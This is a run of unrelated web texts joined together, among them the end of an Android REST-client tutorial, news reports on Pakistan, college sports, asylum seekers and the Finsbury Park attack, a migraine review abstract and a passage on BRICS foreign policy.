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is very useful). if(row == null) return; row.render(); } public void onEventMainThread(FailedToRtweetEvent event) { //show retweet error dialog } ~~~~~~~~~~~~~~~~~~~~~~~ This is it. We've : * Reflected user changes instantly so they got a feedback. * Enqueued related persistent information to ensure we'll retweet. Meanwhile, did show a different state in the retweet button so that user has a clue on what is going on. * Separated the business logic from the UI. This way, the full screen TweetActivity can also listen for the same event. * Since this is an important information, our Notification controller can also listen for these events and show notifications if user is not in our app. **Final Words** I tried to put together an example on how to write a responsive REST client on Android. Many details are skipped to keep it as short as possible but this article should give you enough idea on how to implement it. I have **NOT** invented any parts of this architecture. It is a well known way of doing things but I see many applications lack such functionality. Hope this will help you improve your user experience. If anything is unclear or you disagree, let me know in comments and I'll make necessary changes or reply concerns. [1]: http://www.youtube.com/watch?v=xHXn3Kg2IQE [2]: https://github.com/path/greenDAO/ [3]: http://ormlite.com/sqlite_java_android_orm.shtml [4]: https://code.google.com/p/android/issues/detail?id=7811 [5]: https://plus.google.com/u/0/+EugenioMarletti/posts [6]: http://ormlite.com/javadoc/ormlite-core/doc-files/ormlite_4.html#Use-With-Android [7]: https://github.com/roboguice/roboguice [8]: https://github.com/square/dagger [9]: https://github.com/greenrobot/EventBus [10]: https://github.com/path/android-priority-jobqueue Please enable JavaScript to view the comments powered by Disqus.A Pakistani anti-terrorism court has declared former military ruler Pervez Musharraf a fugitive in ex-prime minister Benazir Bhutto's murder trial, ordering his property confiscated, a court official said on Thursday.
Musharraf was charged with Bhutto's 2007 assassination in 2013, but has been in self-imposed exile in Dubai ever since a travel ban was lifted three years later.
The official said he had "absconded".
The court also acquitted five men who had been accused of being Taliban fighters involved in the conspiracy to murder Bhutto, the Muslim world's first female prime minister, the official told AFP news agency.
READ MORE: Remembering Benazir Bhutto in Pakistan
However, it found two police officers guilty of "mishandling the crime scene", the court official said, adding they had each been sentenced to 17 years imprisonment and fined 500,000 rupees ($4,700).
The verdicts are the first to be issued in the case, and come nearly 10 years after Bhutto was killed in a gun and suicide bomb attack during an election rally in Rawalpindi.
Musharraf's government blamed the assassination on Pakistan Taliban chief Baitullah Mehsud, who denied any involvement. He was killed in a US drone attack in 2009.
In 2010, a UN report accused Musharraf's government of failing to give Bhutto adequate protection and said her death could have been prevented.May 11, 2017
Baton Rouge, La. - The #14 Auburn baseball team dropped its series opening game at #10 LSU, 4-0, Thursday evening at Alex Box Stadium. Junior Dylan Ingram led Auburn offensively with three hits and senior pitcher Gabe Klobosits had his best outing of the season, tossing 5 2/3 scoreless innings of relief for the Tigers.
"Gabe saved our bullpen," Auburn head coach Butch Thompson said. "It was the best outing of the year for him, by far. Hopefully that serves us well because the positive is still having Thompson and Mize in the next two starts."
Klobosits retired 18 of the 22 batters he faced, allowing just three hits while striking out four and walking one.
"I thought once Gabe came into the game we were one inning away from making it a ball game," Thompson said. "It just never materialized for us tonight."
In the midst of a career-best seven game hitting streak, Ingram is hitting.448 (13-for-29) during that span.
"Dylan didn't try to do too much. It was right back up the middle and he had multiple great at bats," Thompson said. "He's the guy that saw Lange the best. He had a really good night and we're going to need more of those type of approaches to come out here and get a game tomorrow."
Fighting Tigers' starter Alex Lange (6-5) was strong on the mound, tossing a complete game shutout, allowing five hits and striking out nine.
LSU scored all the runs it needed with three in the first inning and another in the second.
In the first inning, leadoff hitter Kramer Robertson walked and scored three batters later on Greg Deichmann's RBI single. Antoine Duplantis singled and scored on a bases loaded walk by Beau Jordan and Deichmann plated the final run of the inning on Josh Smith's sacrifice fly.
Robertson walked and scored in the second inning on Antoine Duplantis' double to left-centerfield.
Auburn starter Andrew Mitchell (5-3) took the loss after allowing four runs on three hits with five walks and a strikeout in 2 1/3 innings.
LSU improved to 33-17 and 16-9 in the SEC, while the Auburn dropped to 32-19 and 14-11.
Game two of the three game set at Alex Box Stadium is Friday at 7 p.m. CT.Combine the "technoir" metropolises of Brazil and Blade Runner, turn it into a stealth game with graphic novel styled cinematics, and add some glitch puzzles.
That's what you get with Interference: an upcoming stealth puzzle platformer set in a dark sci-fi future.
Interference's most unique design, except the stunning city skylines, is the Glitched Zones. Players hack into a Connector that allow them to manipulate huge chunks of the environment.
The interface is like a 2D Rubik's Cube, as you move rows and columns of tiles around to open up new routes or block deadly lasers.
Outside of these puzzles, Interference is a standard stealth-based platformer in which you dodge patrolling guards (though you can taser them) and traverse the multi-tiered buildings.
Over 30 levels are planned for Interference. It will launch on PC and Mac, but will come to iOS and Android soon after. You can follow the game's progress on the devlog, if that's your thing.Blog
Hacktoberfest is Back!
We're excited to announce the start of the second annual Hacktoberfest, a month-long celebration of open source software! This year, GitHub joins us as a partner in our quest to give you a cool shirt for your open source contributions.
For this year's Hacktoberfest, we encourage everyone to contribute to open source software by making meaningful contributions to the projects you use and love. We've changed the minimum contributions from 50 commits to 4 pull requests. That's right: to participate, just make 4 pull requests to any open source projects of your choice (can be more than one!). The purpose of this is to shift focus to the types of contributions being made, whether you're fixing bugs, creating new features, or updating documentation.
We will also sponsor and host jQuery's Developer Summit in New York City, a three-day event where members of underrepresented groups will contribute to open source projects run by the jQuery Foundation, and NYC Women Who Go's Meetup with the Bridge Foundry.
Additionally, we have chosen 31 awesome open source projects to highlight for each day in October, inviting participants to check out, use, and contribute to them. (You aren't limited to only these projects — use them as a reference point if you don't know where to begin!) We've split them out by programming language to make it easier for you to find one that piques your interest.
To participate in Hacktoberfest, sign up on the Hacktoberfest website and open four pull requests on any GitHub-hosted open source project (or projects) of your choosing in the month of October. You will win a limited-edition Hacktoberfest T-shirt featuring GitHub's Octocat and our very own Sammy the Shark.
We'll send you reminders throughout the month along with our top open source project picks. What projects will you contribute to? Let us know on Twitter using the #Hacktoberfest hashtag, or tell us in the comments below!
Sign up here for Hacktoberfest!
Happy Hacking!I have a lot of time for Shirley Manson. She’s brassy with brains, and isn’t afraid to say what she thinks. I enjoy her commitment to feminism, and her hella cute best-friendship with Brody Dalle, who expertly describes Manson as “a cupcake with a razor blade in it”. But sometimes, her ire is woefully misplaced – and the recent open letter published this week proved to be one of those occasions.
Taking to her Facebook page, the Garbage frontwoman criticised Kanye West’s recent stage invasion during Beck’s Grammy acceptance speech, claiming that the album of the year trophy should have gone to Beyoncé. In her letter, Manson accuses West of being “small and petty and spoilt”, of “making a mockery of all musicians and music from every genre, including your own.” Woah there. Why so mad, Shirley? West stans hard for Beyoncé – this is an established fact. And he suffers for this fraternal love. It’s a fealty that turned him into something of a cultural punchline – a fallacy Heben Nigatu eloquently debunked in 2013.
West’s admiration for Beyoncé is fierce and beautiful. But it’s a bittersweet pleasure to witness these displays of mad love. When West goes off in defence of Beyoncé, it’s not someone throwing a fit because his favourite artist missed out, someone who needs to “grow up” or “stop throwing his toys around”. It’s a grown-ass black man fearlessly articulating his support for a female peer. If West is protective of Beyoncé, it’s entirely understandable: like himself, her art and politics are held up to constant scrutiny – from MRA’s and feminists alike ( Annie Lennox, I’m looking at you girl).
Manson’s respect for the formalities of award-show pageantry – and offence over Kanye’s lack thereof – is surprising coming from a frontwoman who celebrates rule-breaking. Maybe the disruption was a spontaneous act on his part; I prefer to believe it was strategic. Seizing a platform like that was a power move designed to shake us out of our passive viewing – and it worked. Politeness only goes so far when you’re engaged in the thankless, high-risk work of destabilising established power structures – just ask Pussy Riot.
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Manson’s letter may be tempered with praise – she observes West’s “remarkable talents” and Beyoncé’s having-it-all-ness. But it does raise the question: who is she really defending here? The event may have been somewhat embarrassing for Beck, but he endured it with humour and good grace. It won’t hurt his bank balance, or his career – he’s just won a Grammy! And if he wasn’t upset at having his thunder stolen, why should we be?
What viewers saw on Sunday was not a man-boy throwing a tantrum, but rather a radical auteur – a “black skinhead” articulating solidarity and feminism in a space that has historically crowned white guys. And what some folk feel when they witness these disruptions – taking to the internet to indulge their outrage – is the prickly, unacknowledged power of productive discomfort.A couple of years ago I wrote a post called ‘14 Apps I Use for Theatre‘ where I spoke about how I use an iPad Mini in my directing process and some of the apps that help facilitate it. In my application for Directors Lab North this year they asked if I were to lead a session, what would it be on, and because of my own experience with technology and conversations with other directors where it was revealed how little so many of us were aware of in this field, I said technology in the directing process. From that, I was asked to lead a discussion on this topic, so I decided a handout of which apps I use (based on my original blog post) would be helpful.
After learning about so many other apps and software that my colleagues use in their practice, I updated the handout with this new information to send out to them. I figured, why stop there, and thought it’d be a great thing to share on my blog for anyone who’s interested in different ways to incorporate technology into their theatre practices.
Because directors also have to take on many other tasks in smaller, independent productions, many of the apps listed also work well for actors, producers, designers, and other theatre professionals, so this list is by no means limited to directors, despite the title.
Technology in the Directing Process
List of Apps and Software
If you find this handout useful, please feel free to share it with others and comment here with any other apps you use in your theatre practice.Teenage chef LOSES sex discrimination claim against top restaurant's owner as tribunal judge rules she 'lied and wildly embellished' in bid for compensation
Chloe Maisey lost 21 allegations against staff at Stephen Terry's restaurant
The 19-year-old claimed they locked her in a freezer and threw a fish at her
But tribunal said there was no sexual discrimination at eaterie
A TV celebrity chef yesterday told of his joy at being cleared of sex discrimination after a teenage pastry chef was ruled to have 'lied and wildly embellished' her claim for compensation.
Chloe Maisey, 19, of Pontyclun, South Wales, lost all 21 allegations against the all-male kitchen staff at the restaurant owned by Stephen Terry - the best man of Gordon Ramsey.
And an employment tribunal ruled she had no evidence of sexual discrimination - but had left because of long hours cooking at the top restaurant.
Chloe Maisey, 19, of Pontyclun, South Wales, lost all 21 allegations against the all-male kitchen staff at the restaurant owned by Stephen Terry. She claimed she was bullied by all-male kitchen team
Miss Maisey claimed she was ogled every day as she changed into her chef¿s uniform at the restaurant which has no female changing rooms
She was claiming compensation from Michelin-starred Mr Terry, 47, at The Hardwick restaurant in Abergavenny, South Wales, which has won awards for the best in Wales.
But the employment tribunal dismissed every allegation of sexual discrimination made against Mr Terry’s restaurant and three chefs.
The employment tribunal ruled the Hardwick did not to have a 'culture of sexist behaviour and language'.
Father-of-three Mr Terry - who trained with legendary Marco Pierre White and is a regular star of TV cookery shows such as Saturday Kitchen on the BBC - was found to be a 'kind and involved family man who was kind toward his staff.'
Lauded: The Hardwick restaurant near Abergavenny is widely perceived as the best in Wales
Miss Maisey claimed she was ogled every day as she changed into her chef’s uniform at the restaurant which has no female changing rooms.
She also claims she was 'groped' when a male staff member slapped her bottom, that she was locked in a freezer and had a fish thrown at her.
Tribunal chairman Roger Harper said: 'We find that on numerous occasions Chloe Maisey lied or wildly embellished facts to embolden her claims.
The tribunal heard Miss Maisey left the award-winning restaurant after just 11 weeks because she was struggling with the long hours
'She left because she couldn’t handle the long hours. Many of her claims were dishonest.
'It is significant that she never complained to staff at the restaurant, her mother or father or her boyfriend. It was only at the end of her employment that she raised any grievance with her family.'
The tribunal heard Miss Maisey left the award-winning restaurant after just 11 weeks because she was struggling with the long hours and had failed to follow instructions on her last day in the kitchens.
After leaving the restaurant, she went on to make 21 sexual discrimination allegations against staff.
But the tribunal was read her resignation letter to Mr Terry which stated: 'I have had a very enjoyable time working for you.
'Thank you for this amazing experience you have given me. But unfortunately I will be leaving due to such long hours and issues at home.'
Mr Harper said she had happily showed off her tattoos and piercings to male kitchen staff at the restaurant.
He said: 'She was far from the polite and demure witness which we have seen. Like all of the kitchen staff she had sworn and made oral sex gestures at work.
'There were high jinks and pranks but Miss Maisey played an active part and enjoyed life in the kitchen. Mr Terry’s business has a very good reputation.
'We find no sex discrimination at his restaurant.'
The employment tribunal heard Miss Maisey turned up to work in'skimpy tops and hot pants' and used'sexually provocative' language at work.
Mr Terry said: 'We are very pleased and accept the findings. It is very unfortunate - we didn¿t plan on being here. We want to draw a line underneath it'
Sous chef Jamie O’Leary, 32, said: 'I didn’t find her clothes fit for the workplace. I thought some of the clothes she showed up in were inappropriate for work.'
Miss Maisey, who is several months pregnant, has a tattoo of a laced stocking top with antique pistol tucked into it around the top of her right thigh.
Mr Terry told the tribunal that some of the incidents never happened and dismissed the others as 'banter'.
Mr Terry said: 'We are very pleased and accept the findings. It is very unfortunate - we didn’t plan on being here. We want to draw a line underneath it.Media playback is unsupported on your device Media caption The scheme was devised as a way of offsetting some of the emissions released as drivers travelled to the car parks
A 'bonkers' scheme to allow motorists to pay for city centre parking by using conkers is set to be extended.
The exchange, at three car parks in Leeds and Manchester, started on Monday and has so far received 1,500 conkers - worth £300 in parking fees.
It was devised as a way of offsetting some of the emissions released as drivers travelled to the car parks, Town Centre Car Parks (TCCP) said.
All conkers will be donated to Hetchell Wood Nature Reserve, Leeds.
Horse chestnuts are valued at 20p each and can be exchanged for parking at up to a value of £10.
'Kids' autumns'
Ben Ziff, from TCCP, said: "I was looking at our figures on what we have taken on conkers and it seems to be quite high, a lot more than we were expecting.
"Initially we were only going to run it for a week, but we're now definitely planning on extending the scheme."
Jonathan Leadley, from Yorkshire Wildlife Trust said: "Conkers used to be a central part of kids' autumns. This has sadly declined along with our connection with nature.
"This fantastic, but slightly bonkers idea will raise the profile of Yorkshire Wildlife Trust's wonderful woodlands and hopefully raise a bit of cash to help us look after them."The tuneful behavior of some songbirds parallels that of human musicians. That's the conclusion presented in a recent paper published by an international team of researchers, among them David Rothenberg, distinguished professor of philosophy and music in NJIT's Department of Humanities. Other members of the team are from the City University of New York (CUNY), the Freie Universität Berlin and Macquarie University in Australia.
"Temporal regularity increases with repertoire complexity in the Australian pied butcherbird's song" was published online in Royal Society Open Science.
A Very Musical Species
The pied butcherbird, a very musical species, provided a wealth of intriguing data for analysis by co-author Eathan Janney, a Ph.D. candidate in the Department of Psychology at CUNY's Hunter College. Janney based his analysis upon years of data collected and also analyzed by violinist and biomusicologist Hollis Taylor of Macquarie University, who has previously published extremely detailed analyses of butcherbird songs. "Since pied butcherbird songs share so many commonalities with human music," Taylor writes, "this species could possibly revolutionize the way we think about the core values of music."
In the past, claims that musical principles are integral to birdsong were largely met with skepticism and dismissed as wishful thinking. However, the extensive statistical and objective analysis of the new paper demonstrates that the more complex a bird's repertoire, the better he or she is at singing in time, rhythmically interacting with other birds much more skillfully than those who know fewer songs. The accompanying video includes a sample of a butcherbird's solo song, as well as the song of another butcherbird and an Australian magpie.
Co-author Ofer Tchernichovski, professor in the Hunter College Department of Psychology, finds that the butcherbirds "balance their performance to keep it in a sweet spot between boredom and confusion." Constance Scharff, a co-author who directs the animal behavior laboratory at the Freie Universität Berlin, says "pied butcherbirds, not unlike jazz musicians, play around with their tunes, balancing repetition and variation." This finding suggests that such musical virtuosity may signify more than just the evolution of a way for birds to establish territorial dominance and facilitate mating. It may also provide evidence that musical ability in birds was a precursor to the evolution of the many dimensions of musical ability in humans.
Inclusive Multidisciplinary Research
The paper is the product of inclusive multidisciplinary research. It integrates input from biologists, neuroscientists, musicians and engineers, including co-author Lucas C. Parra, a member of CUNY's Department of Biomedical Engineering.
Rothenberg, who provided his unique perspective, says, "Science and music may have different criteria for truth, but sometimes their insights need to be put together to make sense of the beautiful performances we find in nature."
Rothenberg has written extensively about the bond between humans and our surrounding natural world, a world we share with myriad other creatures. An earlier paper that he co-authored, "Investigation of Musicality in Birdsong," published in Hearing Research touched upon aspects of the same topic explored in the recent Royal Society publication. Rothenberg's book Why Birds Sing is an in-depth look at the subject that challenges neuroscientists to seriously consider music as a tool to help understand birdsong.
As a musician -- he plays the clarinet and saxophone -- Rothenberg has added the dimension of music to research connecting the living sounds of the natural world to traditions of global rhythmic innovation and improvisation. His book Thousand Mile Song is about making music with whales, and Bug Music, How Insects Gave Us Rhythm and Noise offers the provocative premise that listening to cicadas, as well as other humming, clicking and thrumming insects, fostered an innate sense of musical rhythm and synchronization over the long history of human evolution.
Video: https://www.youtube.com/watch?v=v_xanECwy5oA visit by Haitian government representatives to Montreal as thousands of people from the country seek asylum here is raising alarm among Quebec immigration lawyers.
Haiti's Foreign Affairs Minister Antonio Rodrigue and Stéphanie Auguste, the minister for nationals living abroad, met with Mayor Denis Coderre after arriving in Montreal on Tuesday. The pair had even hoped to meet with asylum seekers staying at the Olympic Stadium, Rodrigue told a news conference alongside Coderre.
In the end, they did not visit the stadium, said a spokesperson for PRAIDA, the provincial organization that assists arrivals to Quebec in their first months.
The visit, however, is still cause for concern, said Jean-Sébastien Boudreault, head of the Quebec Association of Immigration Lawyers. He said any contact with the Haitian government could compromise the safety and privacy of those seeking refuge from the country.
"We need to make sure, first and foremost, that we are protecting the people we are supposed to be protecting, which are the people who are seeking a refugee status," Boudreau said in an interview.
"Some of them may not be received as refugees, might not meet the requirements of refugee claimant as stated in Canadian law. So, some of them might be sent back to Haiti and we want to make sure if they are sent back, that they won't be facing problems."
The visit from the Haitian ministers coincided with a surge in asylum seekers from the country.
There are 2,620 asylum seekers in temporary housing in Quebec. Seventy per cent of those who entered Quebec in recent weeks are of Haitian origin, Quebec Immigration Minister Kathleen Weil said last week.
The Canadian military was dispatched to build a camp on Wednesday to provide shelter to the new arrivals as they await processing.
Minister downplays concerns
At the news conference, Rodrigue tried to downplay the concerns, saying they were only visiting to offer support.
The Haitian ministers met with Montreal Mayor Denis Coderre Tuesday afternoon. (Radio-Canada)
Rodrigue told reporters they are on a "fact-finding mission" to learn about the Haitians who came to Canada, and to see what kind of agreement can be reached with the Canadian government.
They will also help Haitians without identification get the documents they need in order to access essential services, such as passports and birth certificates, Auguste said.
For his part, Coderre said their presence was a sign that the government and Haitian President Jovenel Moïse are "taking the problem seriously."
The Haitian ministers were invited to Montreal by Haiti's ambassador to Canada, Coderre said.
The federal government learned of the ministers' visit two days before they arrived, a spokesperson for Global Affairs Canada said. In a statement, Immigration, Refugees and Citizenship Canada said it will protect "the personal information of all asylum seekers."
"No information on individual cases has been shared with the Haitian ministers," the statement said.
A lot of them will be sent back: lawyer
Thousands of Haitian nationals continue to cross illegally into Quebec in the hopes of making a refugee claim.
A group of asylum seekers leave Olympic Stadium to go for a walk in Montreal last week. The stadium is being used as temporary housing to deal with the influx of asylum seekers arriving from the United States. (Ryan Remiorz/Canadian Press)
To be successful, a claimant must demonstrate he or she has a legitimate fear of persecution, war or other violence in their country of origin.
Many of them are likely to see their claim rejected, Boudreau said.
"You have to have personal reasons not to be sent back," he said. "I am afraid that a lot of them will be returned because they do not meet the requirements of refugees."Several people called for calm at the scene
An imam from a Muslim centre close to where this morning’s terror attack took place has been praised for leading calls for people to stay calm and preventing a crowd from harming the Finsbury Park suspect.
People became angry at the scene where one man died and 10 others were injured in North London after the 48-year-old was detained by witnesses.
He was pinned to the floor and people could be heard shouting at him, understandably angry at what they had just seen.
Their anger continued when police turned up to take the man into custody, but others, led by the imam, begged for calm outside Muslim Welfare House.
They put their hands up and formed a small barrier around an officer who was trying to get him into the back of a police van.
Someone in the crowd shouted ‘Why did you do that? Why?’, another shouted ‘dickhead’.
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But another shouted: ‘No one touch him. No one.’
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The moment the police are taking the man who ploughed pedestrians in #FinsburyPark pic.twitter.com/Yr7mgS1mcz — Hamza Sharif (@HamzaJourno) June 19, 2017
Speaking after the attack, the Muslim Welfare House said in a statement: ‘All of us at Muslim Welfare House sends our thoughts and prayers to the victims and those injured in the major incident at Finsbury Park.
‘The Muslim Community in this area is horrified at this incident and is concerned and shocked at the events.
‘We have worked very hard over decades to build a peaceful and tolerant community here in Finsbury Park and we totally condemn any act of hate that tries to drive our wonderful community apart.
‘We would appeal for calm at this time. It is unhelpful for there to be speculation about the incident.
‘All of our efforts should be towards getting justice for the victims and ensuring our community stays the diverse, tolerant and welcome place we know it to be. We call on all, including the media, to act responsibly at this time.
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The suspect was taken to hospital before he is taken to a police station for questioning
A group of Muslims prayed for the victims near the scene soon after the attack happened (Picture: PA)
‘We have already met with the Police, Council and our local MP Jeremy Corbyn. We would like to thank them for their support.
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‘Our mosque and welfare centre provides vital support to many people in North London and we will continue to do this despite this incident.
‘Muslim Welfare House has always welcomed the whole community. Only a few days ago we hosted a Great Get Together in memory of Jo Cox, attended by people of every faith and background.
‘I would like to particularly thank our Imam Mohammed Mahmoud, whose bravery and courage helped calm the immediate situation after the incident and prevented further injuries and potential loss of life.
‘The Police should be given time to do their job. We will issue another statement later when more information has emerged.’
To view this video please enable JavaScript, and consider upgrading to a web browser that supports HTML5 video
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To view this video please enable JavaScript, and consider upgrading to a web browser that supports HTML5 videoHerschel Walker and Bo Jackson are widely regarded as the two greatest running backs in SEC history, but the two legends faced off only once on the college football field.
That meeting came on Nov. 13, 1982, 33 years ago today. Walker's top-ranked Georgia Bulldogs claimed a 19-14 victory over Jackson's Auburn Tigers at Jordan-Hare Stadium, taking the SEC championship home with them.
In fairness, Jackson was a freshman that year, though one who would rush for 829 yards and nine touchdown in his first college season. Against Georgia, he was held relatively in check, totaling 58 yards on 13 carries.
Walker, on the other hand, had one of many sterling days in what would be his Heisman Trophy season. The junior ran for 177 yards and two touchdowns on 31 carries, surpassing the 5,000-yard mark for his career during the game.
Jackson's backfield mate, Lionel "Little Train" James gave Auburn a 14-13 lead early in the fourth quarter with an 87-yard touchdown run. Georgia then drove for the winning score, a 3-yard Walker run with 8:42 to play.
The victory gave Georgia its third straight SEC title and the Bulldogs would wrap up an undefeated regular season two weeks later by beating Georgia Tech 38-18. A bid for a second national title in three years would end in the Sugar Bowl on Jan. 1, when Penn State pulled off a 27-23 shocker in the Louisiana Superdome.
Auburn beat Alabama 23-22 two weeks later, topping the Crimson Tide for the first time in 10 years in Paul "Bear" Bryant's final Iron Bowl. Jackson, of course, scored the winning touchdown on a dive over the top in the final minute.
The Tigers then beat Boston College 33-26 in the Tangerine Bowl to cap a 9-3 season. That would spark an SEC title the following year, the first of four Auburn would win or share in over the next nine seasons.
Auburn got its revenge over Georgia during that 1983 season, beating the Bulldogs 13-7 on their home field. Just as with Georgia's win the year before, that victory by the Tigers secured the SEC championship and a Sugar Bowl berth.
Check out 25 color photos from Auburn's historic win over Georgia in 1983 Tigers won 13-7 to secure piece of SEC title
Walker left after the 1982 season for the USFL, where he played three seasons before joining the NFL's Dallas Cowboys in 1985. Jackson won his own Heisman that same year, but spurned the NFL for a year in favor of playing Major League Baseball before joining the Los Angeles Raiders midway through the 1987 season.
Walker and Jackson met only once in the pros, a 28-24 victory by Jackson's Raiders over Walker's Minnesota Vikings on Dec. 22, 1990. Neither was a major factor in that game, and Jackson's football career would end less than a month later due a hip injury suffered during the playoffs.
(Birmingham News archive photos by Ed Jones, Steve Barnette and Charles Nesbitt).
Here's video of the ABC broadcast of the game, via YouTube:Abstract Migraine is a common, little understood, and debilitating disease. It is much more prominent in women than in men (~2/3 are women) but the reasons for female preponderance are not clear. Migraineurs frequently experience severe comorbidities, such as allergies, depression, irritable bowel syndrome, and others; many of the comorbidities are more common in females. Current treatments for migraine are not gender specific, and rarely are migraine and its comorbidities considered and treated by the same specialist. Thus, migraine treatments represent a huge unmet medical need, which will only be addressed with greater understanding of its underlying pathophysiology. We discuss the current knowledge about sex differences in migraine and its comorbidities, and focus on the potential role of mast cells (MCs) in both. Sex-based differences in pain recognition and drug responses, fluid balance, and the blood–brain barrier are recognized but their impact on migraine is not well studied. Furthermore, MCs are well recognized for their prominent role in allergies but much less is known about their contributions to pain pathways in general and migraine specifically. MC-neuron bidirectional communication uniquely positions these cells as potential initiators and/or perpetuators of pain. MCs can secrete nociceptor sensitizing and activating agents, such as serotonin, prostaglandins, histamine, and proteolytic enzymes that can also activate the pain-mediating transient receptor potential vanilloid channels. MCs express receptors for both estrogen and progesterone that induce degranulation upon binding. Furthermore, environmental estrogens, such as Bisphenol A, activate MCs in preclinical models but their impact on pain pathways or migraine is understudied. We hope that this discussion will encourage scientists and physicians alike to bridge the knowledge gaps linking sex, MCs, and migraine to develop better, more comprehensive treatments for migraine patients. Keywords: angiotensin, asthma, blood–brain barrier, estrogen, mast cells, progesterone, sodium–potassium ATPase, testosterone
Introduction Migraine is the most common neurological disorder, affecting 18% of females and 6% of males, with prevalence peaking at age 30–40 years. Since migraine triggers include stress, alcohol, menstrual cycling, missing meals, or sleep, it is not surprising that migraine prevalence peaks when other significant personal, family, professional, and financial responsibilities are also pressing. The female preponderance of migraine suggests that factors increasing female vulnerability and/or protecting males deserve greater consideration as contributors to migraine pathology. The incapacitating features of migraine include episodic severe headache, accompanied by pain or severe discomfort in response to normal light, sounds, smells, touch, and often associated with nausea, vomiting, or vertigo. Symptoms are typically worse on movement and may last from 4 to 72 h, though a substantial number of sufferers (three million in the US) develop chronic daily headache (CDH). Only about 25% of migraineurs have a warning pre-headache aura, usually a short-lived, migrating visual hallucination. Common migraine comorbidities affect multiple organ systems in addition to the CNS (1). These include Raynaud’s phenomenon, hypertension, interstitial cystitis/bladder pain syndrome (IC/BPS), allergy and asthma, irritable bowel syndrome (IBS), osteo- and rheumatoid arthritis, anxiety, tremor, and depression (2–7). The molecular underpinnings common to and connecting these disorders are not known, but may include shared genetic risk factors (1, 8), regulation of brain cations (9, 10), or common receptor signaling events that activate pain (11), inflammation (12), or oxidative (13) pathways. Treatment of migraine is multimodal, including lifestyle modifications, relaxation, yoga, physical therapy, massage, acupuncture, biofeedback, and cognitive-behavioral therapy, as well as prescription medications and over-the-counter supplements. Medications are directed at prophylaxis or rescue (14–17). A recent review describes rescue and prevention of menstrual migraine (18).
Quantification of Pain One barrier to effectively dealing with migraine, common to all chronic pain states, is quantifying the severity of “real” pain. Subjective metrics are difficult to translate across studies and objective measures fail to capture the true significance of pain. The best clinical practices require intensive patient–doctor dialog and individual patient education, also not easily translatable across studies. Useful clinical tools include FACES (developed for children), numeric (0–10), visual analog, and verbal pain scales. Descriptive terms (hot/cold, dull/sharp, and superficial/deep) can help classify pain (somatic, visceral, or neuropathic), and locations provide sensory discrimination often useful for diagnosis and treatment. There is a real unmet need for objective measures of pain. For example, electromyography (EMG) is used to measure ocular photic discomfort and facial grimace scores (an observation-based version of the FACES pain scale) (19, 20) [Kardon and Poolman, University of Iowa, VA Center of Excellence Iowa City |
a vehicle for extending its influence within sub-Saharan Africa. South Africa is recognized by member states as a leader on security and development goals, in exchange for maintaining a “soft-soft” diplomacy towards authoritarian African leaders, such as Robert Mugabe’s regime in Zimbabwe (Carmody, 2012).
The fourth mode of international engagement is also regional in orientation. Region mobilizing focuses on the cultivation of strategic and economic ties with neighboring countries, whether through multilateral or bilateral trade agreements, infrastructural investments, or migration policy. Region mobilizes are usually economically, politically and ideologically well-integrated within a particular region, and often act as mediators for great powers and/or regional entry points for capital and trade. Brazil exemplifies this strategy. The country has recently fostered bilateral relations to shape development within Latin America. Channels of influence include the systematic increase of FDI, government support for the expansion of companies into neighboring markets, and the construction of port and road facilities.
Taken together, the distinction between issue leadership, opportunity seeking, region organizing and region mobilizing introduces a more dynamic and political perspective that allows moving beyond equating the extent of a BRICS country’s influence with geographic location, demographic size, and/or its standing within the global income hierarchy.
Explaining the Adoption of (a) Particular Strategy(ies)
The next question is: How to account for variations in the particular route of international engagement (or combination thereof) taken by each of the BRICS countries? The argument developed in the remainder of this essay certainly does not pretend to be a parsimonious theory, but rather provide a number of initial pointers for future research.
My starting point is that substantial changes in the world economic order and the international state system over the last 20 years have created new opportunities and pressures for BRICS countries to become involved in the global politics of development. The end of the Cold War, together with the push towards trade openness, financial liberalization and the resulting intensification of global economic competitiveness constitute the backdrop against which these countries have developed new forms of international political engagement. Of particular importance has been the partial decoupling of the Global South from the OECD economies. Though the markets of the US and the EU continue to be of immense importance, the emerging markets in the BRICS are the sites of significant new demand. These shifting power relations have opened up new spaces for international political engagement.
Furthermore, globalization has put new pressures on the BRICS. During the last three decades most states around the world adopted a liberal economic model and opened up their national economies to global market forces. Trade barriers have been reduced, markets have been liberalized, with the result that goods and capital move around the globe in unprecedented volumes with unprecedented speed (Castells, 1997; Held et al., 1999). Recently industrializing countries implemented an export-oriented development model, which entailed the searching for and promotion of new markets. Their dependence on international trade and investment made it imperative for the BRICS to take on a more active role within the global governance of development to facilitate trade, investment and capital flows abroad.
Yet, the new opportunities and pressures confronted by the BRICS alone cannot account for the distinct modes of international policy making found among these countries. It is therefore crucial to unpack how these global changes interacted with specific economic and political contexts at the national level. The intent to build a new regional power base, take on an intermediary role in international organizations, provide ODA, or systematically invest in the infrastructure of other developing countries needs to be understood within the context of domestic politics and the political economy of a particular BRICS country. Of particular importance in prompting particular modes of engagement are therefore natural resource access, state-business elite relations, the nature of civil society networks, and within-nation inequalities.
More specifically, the need to have available natural resources for sustaining economic growth greatly affects the international political projects of states (e.g., Cotula et al, 2009). Economic risers such as the BRICS are concerned about their access to oil, gas and other critical commodities and often seek to expand their influence in potential supplier countries, whether those countries are located in their direct geographical neighborhood or not. Access to natural resources, however, plays little role in motivating issue leadership in global institutions such as the UN, the World Bank, or the WTO. Power projection in the context of international organizations requires attention to domestic politics more broadly. Institutionalist analyses have long argued that sectorally determined business interests (Shafer 1994) and the relative power of different and often contending business groups (Schneider 2004) crucially shape the development policies chosen by a particular country.
It is important to note, however, that business-state relations is not the only vector in domestic politics that shapes engagement within the global politics of development. Non-governmental organizations (NGOs) and social movements constitute formidable political forces in their own right, and are endowed with the potential to shape how international influence is exercised. Conflicts and alignments between state authorities and civil society networks influence which official foreign policy positions are assumed and how a country interfaces with the international (Brysk 2000; Castells 1997).
Finally, the international ramifications of domestic factors are not limited to state-business and state-civil society alignments. The distribution of economic resources more broadly, and its entwining with categorical inequalities and political cleavages (Tilly 1998), often has substantial ripple effects on international policymaking. For example, in post-apartheid South Africa the persistence of stark ethnoracial divisions and the sharp increase in income differentials between rich and poor fostered a peculiar business climate. South African companies seek markets abroad and pressure the national government to promote new investment opportunities in sub-Saharan Africa, while the majority of the population of townships is not even considered part of the economic equation (Carmody, 2012).
Conclusions
